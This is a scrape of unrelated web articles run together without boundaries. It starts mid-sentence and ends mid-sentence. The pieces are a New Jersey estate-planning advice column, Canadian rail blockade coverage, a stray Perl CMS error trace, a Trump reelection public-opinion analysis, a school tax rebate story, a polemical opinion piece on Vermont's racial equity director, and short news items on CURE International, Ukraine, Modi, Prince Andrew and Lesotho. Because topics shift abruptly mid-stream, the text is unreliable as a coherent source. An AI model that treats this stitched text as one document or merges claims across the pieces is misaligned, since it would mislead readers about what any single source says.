recoverable. Q. My wife and I are retired and want to leave our home to our two boys unless we sell it. We want to add their names to our deed. Does this mean that we as owners incur no changes in our property taxes or other home obligations? We do not want them to have to deal with any paperwork or expenses but we want to avoid probate without opening a trust. What do we need to know? Trying to plan A. Were glad to see youre planning ahead, and there are a lot of consequences to consider. By adding your sons names to the deed, you are making a gift of an ownership interest in your home. You are permitted to gift $15,000 per year per person without using any of your federal lifetime and death exemption, which is currently $11.58 million, said Catherine Romania, an estate planning attorney with Witman Stadtmauer in Florham Park. If you gift more than that, you will use a portion of your exemption, but you will not need to pay a tax, she said. You will need to file the IRS Form 709, United States Gift (and Generation-Skipping Transfer) Tax Return by April 15th of the year following the year you make the gift unless you obtain an extension. Want more personal finance news? Enter your email address to be the first to know: If you transfer property during life by gift, the donee obtains the property gifted or percentage of the property gifted with the donors basis, she said. Thus, for example, if you and your spouse purchased your home for $250,000 and made $50,000 of improvements so that the homes basis is now $300,000, and gifted a one-half interest to your two sons, their basis in the 25% interest in the home would be $75,000 each, Romania said. Basis is different than the value of the gift. To effectuate the gift to your sons, you and your wife would need to execute a new deed, Romania said. The deed would be from you and your wife to you, your wife and your sons, indicating the ownership percentage and whether the ownership is with rights of survivorship. The deed should be recorded in the county clerks office where the property is located, she said. Because you and your wife still live in the home and pay the real estate taxes, you may still take the deduction. However, when you sell the home, your sons will have to sign the paperwork as owners along with you and your wife, and you and your wife will only receive one half of the proceeds because you now only own half the home, she said. Moreover, because the home is not your sons primary residence, they do not qualify to exclude any gain from the sale and thus have to report any capital gain from the sale of the home, she said. Of course, they can gift back to you the net proceeds from the sale and file the proper gift tax returns, but that will only make you almost whole. Although you do not want them to have to deal with paperwork, there will be paperwork with the transfers, Romania said. Also keep in mind that transferring real estate during lifetime may affect your ability to obtain Medicaid benefits if the transfer is made during the five-year look-back period, she said. If you transfer property at death, the beneficiary obtains the property at the date of death value and thus if it is sold at that value, there is no capital gain to report by the beneficiary, Romania said. Moreover, if you sell it during your lifetime, there is no need to be concerned about your sons being owners and being involved with the paperwork and receiving one half the proceeds. Romania said probate in New Jersey is not a cumbersome process, in particular if you have a properly executed will. Plus, probate or administration will be necessary if you have any property that passes without a beneficiary designation or by operation of law. Probate is also not costly; in fact, the cost of probating a will in New Jersey is probably roughly the same as the cost of recording a deed, she said. Placing the property in a revocable trust would avoid probate and provide you with the other benefits you are seeking. Email your questions to Ask@NJMoneyHelp.com. Karin Price Mueller writes the Bamboozled column for NJ Advance Media and is the founder of NJMoneyHelp.com. Follow NJMoneyHelp on Twitter @NJMoneyHelp. Find NJMoneyHelp on Facebook. Sign up for NJMoneyHelp.coms weekly e-newsletter. OTTAWA - Protesters have left a site south of Montreal where they had been blockading railway tracks since Wednesday. Hey there, time traveller! This article was published 21/2/2020 (691 days ago), so information in it may no longer be current. OTTAWA - Protesters have left a site south of Montreal where they had been blockading railway tracks since Wednesday. The end of the blockade Friday night followed the arrival of riot police in the afternoon who were dispatched to enforce an injunction ordering protesters off Canadian National Railway tracks in St-Lambert, Que. Prime Minister Justin Trudeau holds a news conference to discuss the current rail blockades and other topics in Ottawa Friday, February 7, 2020 in Ottawa. THE CANADIAN PRESS/Fred Chartrand The development came hours after a stern-faced Prime Minister Justin Trudeau emerged from high-level meetings in Ottawa saying that barricades on rail lines and other major transportation routes must come down after two weeks of calls for patience and stalled attempts at negotiation. "We are waiting for Indigenous leadership to show that it understands," he said in a news conference. "The onus is on them." Injunctions to clear tracks must be obeyed and the law must be upheld, he said, adding that it is pointless to continue making overtures to Indigenous leaders if they aren't accepted. "Let us be clear: all Canadians are paying the price. Some people can't get to work, others have lost their jobs," Trudeau said. "Essential goods cannot get where they need to go." The situation "is unacceptable and untenable," he said. The blockades, particularly one on a critical east-west rail line in Ontario, are responses by Indigenous people and supporters to a move by the RCMP to clear protesters who had been blocking access to a worksite for a major natural-gas pipeline project in British Columbia. Hereditary chiefs of the Wet'suwet'en Nation oppose the work on their traditional territory, despite support from elected band councils along the pipeline route. On Thursday, the RCMP in B.C. sent a letter to the traditional Wet'suwet'en leaders, telling them the force intends to move its officers off the access road and station them instead in the nearby town of Houston. A protester stands beside smoke at the closed train tracks in Tyendinaga Mohawk Territory near Belleville, Ont., on Thursday Feb. 20, 2020, as they protest in solidarity with the Wet'suwet'en hereditary chiefs opposed to the LNG pipeline in northern British Columbia. A group of hereditary leaders from the Wet'suwet'en First Nation in B.C. is to spend the day with Mohawk supporters in Ontario. THE CANADIAN PRESS/Lars Hagberg In response, one of the traditional chiefs of the Wet'suwet'en Nation said Friday his people are willing to engage in nation-to-nation talks with the B.C. and federal governments, but not until the RCMP in B.C. have left traditional Wet'suwet'en territory entirely and Coastal GasLink, the pipeline company, ceases work in the area. Hereditary Chief Woos, also known as Frank Alec, said the B.C. RCMP have not yet left the Wet'suwet'en territory and charged they have also "increased harassment, made illegal arrests, increased surveillance and monitoring of Wetsuweten people and their invited guests." "This is completely unacceptable and far from a show of good faith and contradicts the announcement of the RCMP," Woos said. Until their demands are met, the barricade in Ontario erected by the Mohawks at Tyendinaga will not come down, said Kanenhariyo, who also goes by Seth LaFort, of the Mohawks of Tyendinaga. The Wet'suwet'en hereditary chiefs were visiting their supporters at Tyendinaga to thank them and held a news conference afterward. Woos took issue with Trudeau's comments that the blockades are causing trouble for Canadians, suggesting the Wet'suwet'en are facing injustice. "There is a difference between inconvenience and injustice total difference. Don't confuse one with the other," Woos said. Meanwhile, the prime minister is contending with pressure from several premiers to take more swift and decisive action to end the blockades. "We've sent a message clearly with our willingness to say, quite publicly, that we don't believe it's in the best interests of protesters or the general public to stand back in respect of the laws being broken, that it can endanger people's lives and endanger their well-being," Manitoba's Brian Pallister said Friday. Ontario Premier Doug Ford issued a statement Friday saying "enough is enough." Wet'suwet'en hereditary chiefs receive a welcome at the Mohawk Community Centre on Thursday Feb. 20, 2020, in Tyendinaga Mohawk Territory near Belleville, Ont., on Friday, Feb. 21, 2020, in the midst of a blockade on a nearby rail line in solidarity with Wet'suwet'en hereditary chiefs opposed to the Coastal GasLink pipeline in northern British Columbia. THE CANADIAN PRESS/Justin Tang "The illegal blockades must come down. This is a national emergency and innocent people from coast to coast are being hurt. The federal government must co-ordinate action to take down these illegal blockades across the country." Quebec Premier Francois Legault made it clear Thursday that provincial police in his province would dismantle the blockade in a suburb south of Montreal. Earlier Friday evening, the roughly two dozen protesters began dismantling their encampment, taking down tents and hauling their supplies to the edge of a security perimeter established by police. A spokesman for the protesters, who had been blocking the rail line in a show of solidarity with Wet'suwet'en hereditary chiefs in British Columbia, vowed that other blockades would appear. Alberta's Jason Kenney, a former federal Conservative cabinet minister, pulled no punches in a Friday press conference. He said he made it clear to the prime minister on a conference call with the other premiers Thursday evening that the blockades are having devastating impacts on people across the country. He said it is scaring away investment and giving the impression that Canada can't operate as a modern democratic country. This is just the latest in an increasing pile-on of federal, provincial and business leaders pressing Trudeau and the federal government to end the blockades. Conservative Leader Andrew Scheer said Friday he doesn't believe Trudeau's ultimatum will work and warned that making concessions to the Wet'suwet'en will embolden future activists who oppose resource development projects. "For days, he's been basically telling these illegal protesters that he's taking the use of police forces off the table. He's basically been giving them a signal that they can act with impunity. He's also talked about offering concessions to people who are breaking the law," Scheer said. "This is a very dangerous precedent to set. And as we face developments in the future, as it relates to other energy projects, these protesters will continue to be emboldened as they pursue their anti-free market, anti-energy development agenda." Despite his firmer tone Friday, Trudeau stressed that his government remains committed to dialogue and reconciliation with the Wet'suwet'en hereditary leadership, but the ball is now in their court to make that happen. "Our government has kept engaged at all levels, we repeated our calls for collaboration, we showed respect," Trudeau said. "But Canadians who are feeling the very real impacts of these blockades are running out of patience." He also made a point to draw a line between the Wet'suwet'en protesters and their allies those upset at the long history of abuse perpetrated against Indigenous peoples in Canada and others who "use or engage with Indigenous protests to call out a particular project with which they disagree." While these "other" protesters may be advancing a view that is deeply felt, their concerns are "not anchored in the deep wrongs that have been done in ignoring and marginalizing Indigenous leadership and Indigenous voices in this country," Trudeau said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. B.C.'s John Horgan struck a more understanding note than some of the other premiers Friday. He said his government continues to be ready to engage in talks with Wet'suwet'en hereditary chiefs. But Horgan said more people from the community, other than the hereditary chiefs, have begun to speak out, including the matriarchs who have historically been the keepers of the traditional practices of the Wet'suwet'en people. Horgan said he expects Na'moks, a hereditary chief who also goes by John Ridsdale, will be hearing from people in the community about his refusal to meet with the province, because that's "not how you have respectful dialogue with your neighbours." He said he believes the vast majority of northern B.C. residents and Wet'suwet'en people want to find a way forward and his government remains "at the ready" to help reach that outcome. This report by The Canadian Press was first published Feb. 21, 2020. With files from Steve Lambert in Winnipeg, Liam Casey in Tyendinaga Mohawk Territory, Bill Graveland in Calgary and Laura Kane in Vancouver System error error: Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. context: ... 21: 22: 23: % foreach my $c (@categories) { 24: <%perl> 25: my $category_id = $c->get_id(); 26: my @stories = Bric::Biz::Asset::Business::Story->list ( { element_type_id=>1148, category_id=>$category_id , Order=> 'cover_date', publish_status => 't' , OrderDirection=> 'DESC' , Limit=>10 } ); 27: 28: 29: ... code stack: /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html:25 /usr/share/perl5/HTML/Mason/Request.pm:951 /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj:17 /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html:149 Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. 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But there is a broader context that forms the backdrop of incumbent reelection campaigns -- what Americans are thinking and feeling about the world in general. At this juncture in the campaign, some parts of this broad context form a positive environment for President Donald Trump's reelection effort, while others suggest a more challenging scenario. Public Opinion Contexts That Are Positive for Trump 1. Americans are quite positive on a relative basis about the status of the U.S. economy. Gallup's basic indicator of confidence in the U.S. economy is the best it has been in twenty years, and indicators of Americans' views of their personal finances are at or near all-time highs. Most political analysts recognize the paramount importance of the economy in a president's reelection probabilities. This is particularly true for Trump; his campaign is pushing the positive economy as the primary focus of his campaign. The economic confidence data, for the most part form a strongly propitious environment for this reelection positioning. 2. Americans report being more satisfied with the way things are going in the U.S. than at any point in the last 15 years. This provides a positive context for Trump's reelection campaign, although, on an absolute basis, the 41% who are satisfied remains well below majority level. Additionally, six in 10 Americans say they are better off than they were three years ago (an indicator popularized by candidate Ronald Reagan in 1980 when he asked a variant of that question about the years of the Carter administration) and this, too, is a currently positive indicator for Trump's reelection positioning. 3. Americans, as a whole, remain skeptical about the idea that more big government is the way to address the nation's pressing issues. My review of the data shows there is little evidence of strong majority support for the government to become bigger and more active in solving the nation's problems. This is important because the current Democratic presidential contenders are advocating for a significantly increased government role in addressing human needs. This is particularly true of current front-runner Bernie Sanders, who calls for increased government intervention in order to provide healthcare, education, housing and jobs "for all" -- and in many other ways advocates government redistribution of power and wealth. The fact that Americans are not strongly on board with this broad concept is a plus for Trump's reelection campaign, which is calling the Democrats' proposals "big government socialism" and clearly attempting to play off of Americans' wariness about proposals that the government is the primary panacea for the nation's ills. Public Opinion Contexts That Appear Less Positive for Trump Trump is clearly out of sync with majority public opinion on a number of key policy issues, a situation which, on its face, seems less than encouraging for Trump's reelection probabilities. But, we know that in many ways, Trump's political actions and reelection efforts are indifferent to broad, overall public opinion, but instead are focused on actions that appeal directly to smaller segments of the population. Trump is often deliberately divisive -- thumbing his nose at large parts of the population while encouraging core, base groups whose turnout he hopes will be the key to victory. In the sections below, I'm going to list those areas where American public opinion taken as a whole runs contrary to Trump's positions, but with the realization that the impact of this state of affairs on Trump's reelection probabilities is yet to be determined. 1. Trump's energy and environmental policies are contrary to the priorities of the majority of Americans. As I reviewed recently, "Americans are concerned about the quality of the environment and are sensitive to the environmental harm done by various energy sources. Given this, the significant majority of Americans appear amenable to the idea of de-emphasizing fossil fuels, whether through laws that beef up fuel efficiency standards or by discouraging the production of heavy polluters like coal." Gallup data also show that Americans strongly favor the development of alternative sources of energy (solar and wind) and, in general, favor focusing on the environment over the development of new energy sources and over economic growth. Trump's actions on the environment during his first three years generally move in the opposite direction. Trump's reelection website, for example, lists as positive accomplishments his pushing for very large oil and gas leases in the Gulf of Mexico, expanding drilling in offshore areas more generally, aggressively increasing exports of oil and gas, thus providing financing for more oil and gas exploration, approving the building of oil and gas pipelines, reversing moratoriums on drilling on federal lands, rescinding methane emissions standards and repealing the "Clean Power Act." His newly proposed budget would cut funding for the Department of Energy's Office of Energy Efficiency and Renewable Energy by 75% and reducing spending on solar and wind technology by similar percentages. (Trump often makes fun of efforts to promote wind power at his political rallies.) The impact of these "against the grain of public opinion" policies on his reelection probabilities depends on how successful his opponents are in making them an issue -- and how successful his energy positions are in increasing his own base turnout (and campaign contributions). 2. Americans continue to say that government and the way elected representatives are running the country constitute the most important problems facing the nation today. Available evidence also shows that Americans want their elected representatives to compromise in order to get things done rather than sticking obstinately to principle. Trump is the nation's chief executive officer and, as such, oversees the government. The fact that government is perceived as the most important problem facing the nation could, on the face of it, be a negative for Trump. In fact, a recent Monmouth survey shows that only about a third of the public say he has been successful in fixing our government. But as noted, Trump has deliberately embraced a "divide and conquer" strategy, focusing on a relentlessly negative, delegitimizing criticism of political opponents -- and of the news media and any others who criticize him. Trump, himself, lambastes the federal government as a "deep state" and has positioned himself not as a leader attempting to make government work better, but as a leader attempting to work around it. All of this is a plus for Trump in that it reinforces the loyalty (and presumably turnout) among his base of supporters. Trump himself, we assume, thinks that this style was responsible for his 2016 election victory, and he has continued and accelerated it during the current campaign. As Wall Street Journal columnist Gerald Seib recently put it: "President Trump likes to say -- and his followers often echo the sentiment -- that his slashing, pugilistic style is necessary for him to succeed." And, in fact, Trump has the most polarized approval ratings of any president in Gallup's history, and this polarization is getting larger as months go by. Nevertheless, one might assume that Trump's campaign would ideally like to expand its 2016 coalition to the point where he wins the popular vote (something he did not do in the last election) and expand his margins in the three Rust Belt states (Pennsylvania, Michigan and Wisconsin), which put him over the Electoral College threshold. But his style and confrontational approach is inherently a limiting strategy and unlikely to broaden his appeal to a substantial extent. 3. Americans remain opposed to building a wall along the U.S./Mexico border and favor a broad, comprehensive approach to immigration. As I have summarized, "Americans overwhelmingly favor protecting the border, although with skepticism about the need for new border walls. Americans also overwhelmingly favor approaches for allowing undocumented immigrants already living in the U.S. to stay here." Trump, on the other hand, is famously focused on building as much new border wall along the U.S./Mexico border as possible before the election, and most of his approach to illegal immigrants already in this country is focused on efforts to deport them. Trump's election website lists the fact that he has secured funding for 445 miles of border wall, ordered the hiring of 10,000 new ICE agents and 5,000 border patrol agents, deployed the National Guard to the border, prioritized targeting immigrant gang members, and presided over 226 thousand "removals" of illegal immigrants. Again, while these actions may have a demonstrable appeal to his base, they are decidedly not in sync with overall public opinion. 4. Americans continue to have mixed opinions of big business, continue to support higher taxes on the rich and wealthy, say that corporations pay too little in taxes, and are more positive than negative about labor unions. Just a little more than a third say there is too much regulation of business and industry ; the rest either say there is about the right amount or too little. Trump, by contrast, extols the virtue of having rolled back "job-killing" regulations, claiming that "860 regulatory actions have been withdrawn or removed from active status." Trump also positions the massive 2017 tax bill which cut corporate tax bills as a plus, saying that these actions "made U.S. companies competitive on the world stage, lowering the corporate tax rate from one of the highest in the industrialized world (35%) to 21%." Additionally, the Trump administration has been far from positive about unions, while at the same time seeking the vote of rank and file union members. 5. The American public, taken as a whole, favors most proposals that would control the sale and use of guns, and a majority of Americans do not favor making abortion totally illegal and do not favor rescinding Roe v. Wade. On gun control, Trump -- as the Associated Press put it recently -- has campaigned as a "Second Amendment Warrior," strongly supporting gun rights policies and promoting Second Amendment rights as equal to free speech and freedom of religion. On abortion, Trump has embraced a pro-life position and has associated himself with organized groups that take a harder line on abortion than the general public -- exemplified by his recent appearance at the Right to Life forum, the first ever by a sitting president. Again, both positions are designed to put Trump in sync with the attitudes of what is presumed to be his core base of supporters. But they put Trump out of sync with the majority of Americans. 6. The American public is strongly in favor of infrastructure improvement. Trump agrees in principle with the public on this issue. In his 2016 presidential campaign, he focused heavily on promises to improve the nation's infrastructure, making it a central tenet of his campaign. But nothing significant has been done. His campaign website, focused on "Promises Kept," is thus reduced to referring to relatively limited actions taken on rural infrastructure. Improving infrastructure is as much of a no brainer as we have on the policy front today, and by all accounts, every side of the political spectrum is in favor. Trump is not totally responsible for infrastructure inaction; the two parties in Congress have also been at an impasse in attempting to craft acceptable legislation. But having touted infrastructure as a fundamental plank of his presidential platform, the failure to produce significant results could be developed by Trump's opponents into a perceived weakness. Bottom Line Trump is making the improved economy the central focus of his reelection campaign, and the public's positive economic confidence at this point reinforces the upside potential of this positioning. Trump's Democratic challengers will need to acknowledge the improved economy in some way (i.e., not just deny or ignore it), and then seek to work around it in their own campaigning. There are, on the other hand, a number of points at which American public opinion is at odds with Trump's reelection positioning, including his actions on energy and the environment, immigration, tax cuts for the wealthy and corporations, cutting regulations on big business, and the values issues of gun control and abortion. The ultimate impact of this disconnect between majority public opinion and Trump's positions -- juxtaposed against his positions' strong appeal to the minority of Americans who constitute his base -- will be a key factor in the outcome of the unfolding presidential campaign this year. LANSDALE Another expansion of the North Penn School Districts real estate tax rebate program is now on the books. The districts school board voted unanimously Thursday to increase the rebate level once again to include supplements they say could help offset rising costs for certain low-income residents. This is a program thats targeted to help those who truly need it the most, who truly are hurt the most by an increase in their cost of living, said finance committee chairman Christian Fusco. There on fixed incomes, they rarely see an increase in Social Security, they see the price of food go up, the price of heat go up, so its really important that we can do something, he said. North Penn has offered the rebate program since 2018, which gives residents who meet certain age and/or low income qualifications a rebate on their property taxes paid to the district. For the 2018-19 fiscal year 421 residents had claimed the rebate as of summer 2019, receiving an average rebate of $81, at a total cost of roughly $33,000 to the district, according to figures provided by the district. In March 2019 the board increased the local rebate amount from 25 to 30 percent of the state rebate, and expanded the eligibility to renters as well as property owners, and held discussions earlier this month about expanding the rebates further for the 2020-21 fiscal year. Director of Business Administration Steve Skrocki reported Thursday night that, of the districts budgeted $142,000 in the 2019-20 budget for the rebates, so far a total of 390 rebate checks totaling just over $41,000 have been issued. $107 is the average rebate, and we are actually up 19 percent this year in the number of applicants, and up 61 percent in the amount of rebates issued, Skrocki said. Over the past year several residents have raised the question of whether certain supplemental rebates from the state would be offered locally, and the board voted unanimously Thursday night to offer those supplements, while also increasing the local rebate to 40 percent of the state level. The supplemental program, the way that it works is: if an individual pays more than 15 percent of their total income in property taxes, theyre eligible for an additional 50 percent of the base (rebate) amount), he said. For example, if someone receives $650 in a rebate, depending on how much they pay on their real estate taxes, they could be eligible for another $325 in supplements, bringing their grant total to $975, Skrocki said. Eligibility for those supplements is vetted by the state and confirmed by the district when residents apply, Fusco and Skrocki said, and could help offset the annual increase in property taxes approved by the board. Our ability to help is limited, but this is one way we can try to meet those needs of our community members, Fusco said. Starting with the current budget year, school board members have begun hand-delivering those rebate checks to residents who apply, and Fusco said hes heard firsthand how helpful the rebates can be. People do appreciate it. Even that little amount, people have said they can go out and get themselves something nice that weekend, or they have a grandchilds birthday coming up and its something else they can get for their grandchildren, he said. It is something. It definitely makes that little bit of a difference, and I think it shows there is a commitment on this boards part, to try to do what we can, not just for the parents, not just for teachers, but for the seniors as well, Fusco said. North Penn was the second school district in Pennsylvania to offer the local rebate program, Skrocki said, and will be the first to do so with the supplements. He and district Solicitor Kyle Somers said theyve been contacted by several other school districts to learn the dos and dont of the rebates. I think about eight or nine have contacted me, and I know two have actually implemented our program, in essence, in their school district, Skrocki said. Board member Jonathan Kassa said he was surprised to hear how far and wide that had spread, and Fusco and board President Tina Stoll said theyve been asked about it at conferences and meetings with other school boards. We get a lot of comments, when were out meeting with other school board directors. Weve had a lot of people ask us, What are you guys doing in your school district?' Stoll said. Other school board directors in other districts also want to help provide their vulnerable seniors with relief. Nobody wants to put a burden on their seniors, she said. North Penns school board next meets at 7 p.m. on March 10 and the finance committee next meets at 6 p.m. on March 2, both at the district Educational Services Center, 401 E. Hancock St. For more information visit www.NPenn.org. Last year, Xusana Davis was appointed by Vermont governor Phil Scott as the state's "first Racial Equity Executive Director." Davis, formerly of New York City's Department of Mental Health and Hygiene, applied for the job "on a whim" and was installed to "identify and address systemic racism in Vermont." The law labeling Vermont as systemically racist was also a whim, backed by no evidence aside from bald assertions that racial disparities in prison, land ownership, or school disciplinary actions reflect a disparity in treatment of people of color. The dangers of this false assumption are demonstrated in Xusana's latest gambit: to "codify community engagement" by "considering racial and environmental justice in land use." Davis has been commissioned by recent Vermont law to "develop a strategy to address racial disparities within the State systems of education, labor and employment, access to housing and health care, and economic development." Racism is presupposed by this legislation, and the solution is also presupposed: minorities must be incarcerated at rates which reflect the underlying population regardless of guilt; white people are all privileged; schools must discipline students based on race, not behavior. Xusana burst out the gate to use government regulations to institute racist wealth reallocation, in the form of transferring land and economic opportunities from whites to minorities, without evidence of wrongdoing: "Housing is a means of transferring generational wealth, and people of color have been shut out," she said[.] ... "The future of Vermont is going to be a lot more diverse. Our towns will be denser and more colorful." Considering racial and environmental justice in land use, she asserted, will set the stage for a more diverse and more prosperous Vermont[.] ... Too often, she said, people of color and the economically disadvantaged are shut out of "the quiet closed rooms where decisions are made." There is no proof that such closed-room meetings actually occur. But no proof is required for social and environmental warriors. As a liberal reporter intoned of Davis's orations: The all-white membership of House Natural Resources was, at times, a bit taken aback by Davis' testimony. That's the thing about implicit bias: It's implicit, which means you aren't even aware of it, so it's a surprise when it comes to light. Thomas Sowell cautioned about precisely such consequences in his 1999 book, The Quest for Cosmic Justice: [W]hat is called "social justice" might more accurately be called anti-social justice, since what consistently gets ignored or dismissed are precisely the costs to society[.] ... Not only does cosmic justice differ from traditional justice, and conflict with it, more momentously cosmic justice is irreconcilable with personal freedom based on the rule of law[.] ... Merely the power to select beneficiaries is an enormous power, for it is also the power to select victims and to reduce both to the role of supplicants of those who hold this power. How are Vermont's white people to respond to such attacks? They are allegedly guilty of implicit bias, which means they don't even know what they did wrong. They are to be retrained by the benevolent government: "[I]mplicit bias training" means training designed to help individuals identify and address unconscious associations, biases, and stereotypes that they hold about certain groups of people. Vermont is vulnerable to such ideological incursions, being rather clueless, and quite white. Milton Friedman warned us: A society that puts equality in the sense of equality of outcome ahead of freedom will end up with neither equality nor freedom. The use of force to achieve equality will destroy freedom, and the force, introduced for good purposes, will end up in the hands of people who use it to promote their own interests. Slavery was never legal in Vermont. Most whites here have suffered hundreds of years of poverty, and most family farms were sold long ago. Vermonters tried to hold on to farmland for their children. This, we are now told, was a preferential "transfer of intergenerational wealth." Xusana is quite proficient in "promoting the interests" of one group over another based solely on race. She employs Native Americans against white people, to provide black people with societally imposed preference: This includes Vermont's indigenous people. "We have a responsibility to be humble about the fact that we're using land that wasn't ours," she said. We are losing both equality and freedom in Vermont, through social engineering laws. My family has farmed here (and paid taxes) for two hundred years, and I am of Abenaki Indian heritage. I don't require a black person relocated a year ago from NYC to reallocate my land on my behalf to black people whom our Vermont ancestors died to free in the Civil War. Oh Xusana, don't you cry for me. OTTAWA COUNTY, MI CURE International, a network of pediatric hospitals primarily in Africa, has finalized its move into the headquarters of International Aid. CURE moved its headquarters from New Cumberland, Pennsylvania, to the sprawling warehouse and offices fronting U.S. 31 in Spring Lake. The pediatric hospital network merged with International Aid in July 2019. International Aid, which retains its name as a subsidiary of CURE, provides medical supplies and equipment for use in CUREs hospitals as well as other hospitals and clinics globally, said Debbie Stowell, communications director for CURE. CURE, founded in 1996, has partnered with International Aid for more than 20 years in its operation of charitable pediatric hospitals. The hospitals are located in Kenya, Niger, Uganda, Malawi, Zambia, Ethiopia and the Philippines. It operates in 14 countries, said Stacey Korecki, a spokeswoman for CURE. CURE also was given a for-profit hospital in the United Arab Emirates from that countrys royal family, Korecki said. CUREs annual budget, which includes the United Arab Emirates hospital, is $86 million per year, she said. It employs about 1,500 workers overseas and receives about $24 million in contributions annually, Korecki said. Thirty-five people work out of the former International Aid building, now known as CUREs Mission Support Center. CURE physicians often perform surgeries, such as those to repair cleft palate and club foot, that are common in the U.S., Korecki said. In the countries CURE serves, children with those conditions often are outcasts and considered cursed, Korecki said. Thats why CURE has an invitation on its website to send messages to its young patients. Those messages of love and support are critical to patients emotional recovery, Korecki said. At our hospitals, we dont only treat the body we treat the heart too, Stowell said. We tend to peoples emotions and bodies. CURE providers also tell patients and their providers about the gospel of Jesus Christ, but treats those of all religions and beliefs, Korecki said. Our doctors will pray for our patients before they do surgeries, she said. Also on MLive: Depot to be new home for Grand Haven businesses ousted by Chinook Pier demolition RV park to be turned into community park as part of Spring Lake rebirth Caretakers of children with cancer have new support group in West Michigan Prystaiko also said the government was ready to hold local elections on the whole territory of Ukraine. Ukrainian Foreign Minister Vadym Prystaiko has said Ukraine is ready for a dialogue with Donbas residents, but not with the fake puppets, so-called "representatives." "We are ready for a dialogue with Donbas residents, but not with the fake puppets, so-called 'representatives.' This dialogue must be inclusive with all those, who are temporarily displaced from Donbas within Ukraine. The voice of those internally displaced persons should also be heard in Minsk," he said at the UN General Assembly plenary meeting on the situation in the temporarily occupied territories of Ukraine. Read alsoUkraine working on new version of Minsk Agreements despite Russia's stance Prystaiko also said the government was ready to hold local elections on the whole territory of Ukraine. "We look forward to holding local elections on the whole territory of Ukraine. However, without basic security and political prerequisites the people of Donbas, including those who were forced to flee their homes, will not have a chance to make their democratic choice at the elections, which should be certified as legitimate by Ukraine and by the international community, based on the existing and recognized standards," he said. Prime Minister Narendra Modi on Friday handed over a 'chadar' to be offered at the Ajmer Sharif dargah in the coming days. The Prime Minister's Office posted pictures on its Twitter handle of Modi handing over the 'chadar' to a delegation from the Ajmer Sharif Sufi shrine. Minority Affairs Minister Mukhtar Abbas Naqvi was also present on the occasion. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The school bus with a post-birthday message for the Duke of York. (PA) A US lawyer has sent Prince Andrew a post-birthday message, asking him to get in touch with the FBI. Gloria Allred, a lawyer who is representing five of the victims in the Jeffrey Epstein case, sent a yellow American school bus to drive around Buckingham Palace with a message for the duke, two days after he celebrated his 60th birthday. The banner on the bus had two pictures of Prince Andrew and read: If you see this man please ask him to call the FBI to answer their questions. Prince Andrew stepped back from his royal duties over his friendship with the convicted pedophile Epstein, who killed himself in prison last year. The Queen with Prince Andrew at the church near her estate. (Getty Images) Read more: Royal Family sends birthday messages to Prince Andrew The bus stunt comes after New York attorney Geoffrey Berman issued a statement from the steps of Epsteins apartment in which he said Prince Andrew had not made any contact with the American authorities. Berman said: The Southern District of New York and the FBI have contacted Prince Andrew's attorneys and requested to interview Prince Andrew, and to date, Prince Andrew has provided zero cooperation. He publicly offered, indeed in a press release, to cooperate with law enforcement investigating the crimes committed by Jeffrey Epstein and his co-conspirators. Virginia Roberts Giuffre claims she was trafficked by Epstein and alleged on that she had a sexual encounter with the prince in London in 2001. The duke categorically denies having had any kind of sexual contact or relationship with Ms Giuffre and said he would help any law enforcement agency. The bus was driven around Buckingham Palace. (PA) Read more: Prince Andrew showing 'zero co-operation' with FBI request for Jeffrey Epstein interview The Duke of York gave an interview to BBC Newsnight in which he said he did not regret his friendship with the billionaire because it opened doors. He also explained he spent five days with him at his home in New York in order to end their friendship. After the interview, he issued a statement saying his friendship with Epstein was a distraction from the work of his family. Story continues He is now rarely seen in public and marked his 60th birthday with a quiet family party at the Royal Lodge in Windsor Great Park. Prince Andrew was at the Queen's Christmas lunch at Buckingham Palace. (Getty images) Prince Andrew did accompany his mother to church shortly after the fallout from Harry and Meghans decision to leave their royal duties behind was given some resolution. He had to defer his promotion to admiral which was also due for his 60th, and the government decided local authorities did not need to fly the Union flag in honour of it. Despite the scandal, the Royal Familys official social media shared pictures of the duke and wished him a happy birthday. His former wife Sarah and his daughter Princess Eugenie also sent him birthday messages. Thomas Thabane was to be charged for killing wife but had a pre-arranged medical check-up in South Africa, aide says. Lesothos Prime Minister Thomas Thabane, who was to be charged with the murder of his estranged wife, has failed to appear in court. Thabane, 80, who left the mountainous kingdom of Lesotho on Thursday, had a pre-arranged doctors appointment in South Africas capital, Pretoria, his private secretary said on Friday. He is not attending court, he has gone for a medical check-up in South Africa, Thabo Thakalekoala told AFP news agency, adding it is a routine medical check. Thabane was scheduled on Friday to face a murder charge in connection with the killing of Lipolelo Thabane, who was shot dead in June 2017. His court appearance will now be rescheduled. We shall wait until he becomes available and we shall arrange that he comes here and appears before the court of law and be formally charged, Deputy Commissioner of Police Paseka Mokete told Al Jazeera. The long-serving prime minister announced on Thursday he would quit office by the end of July because of old age. Thabane is accused of having acted in common purpose in the June 2017 killing by unknown assailants of Lilopelo, 58, then his wife. His current wife, Maesaiah Thabane, 42, who he married two months after Lipolelos death, has already been charged with ordering Lipolelos murder but is currently out on bail. Complex case Al Jazeeras Fahmida Miller, reporting from outside the court in the capital, Maseru, said the complex case has become more complicated now that the prime minister is in South Africa. There were rumours circulating earlier that he had fled the country, but his private secretary says this is not the case, that the prime minister is willing and ready to be in court, just not today, she said. His son also dismissed the rumours. He has not fled the country, he has gone to South Africa to see a doctor, Potlako Thabane told Reuters News Agency. In 2017, Lipolelo and Thomas were going through an acrimonious divorce. An unknown assailant shot her dead in her car. Her friend, Thato Sibolla, who was travelling with her in the vehicle, escaped with gunshot wounds and has since fled to neighbouring South Africa fearing for her life. The death shook the landlocked kingdom of Lesotho, which is entirely surrounded by South Africa. We have a very strong case against the prime minister which we are going to present before the court of law which actually implicates the prime minister to the crime, Mokete said. I haven't once regretted ditching my London-Irish accent at the age of seven in favour of the stagey received pronunciation mimicked from 'Upstairs, Downstairs'. Having honed and maintained my "posh" pronunciation for decades, I'm afraid I have to turn a deaf ear to poet 